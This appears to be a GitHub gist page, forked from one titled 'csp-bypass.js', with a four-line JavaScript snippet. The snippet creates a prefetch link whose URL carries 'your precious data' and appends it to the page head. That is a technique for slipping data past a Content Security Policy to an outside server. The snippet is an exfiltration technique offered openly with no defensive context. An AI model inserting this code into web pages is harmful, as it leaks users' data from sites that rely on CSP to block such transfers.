Skip to content

Instantly share code, notes, and snippets.

@LianSheng197
Forked from davidgilbertson/csp-bypass.js
Created March 4, 2022 11:10
Show Gist options
  • Save LianSheng197/9cdefb1445664a11d55428912cbdcf63 to your computer and use it in GitHub Desktop.
Save LianSheng197/9cdefb1445664a11d55428912cbdcf63 to your computer and use it in GitHub Desktop.
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment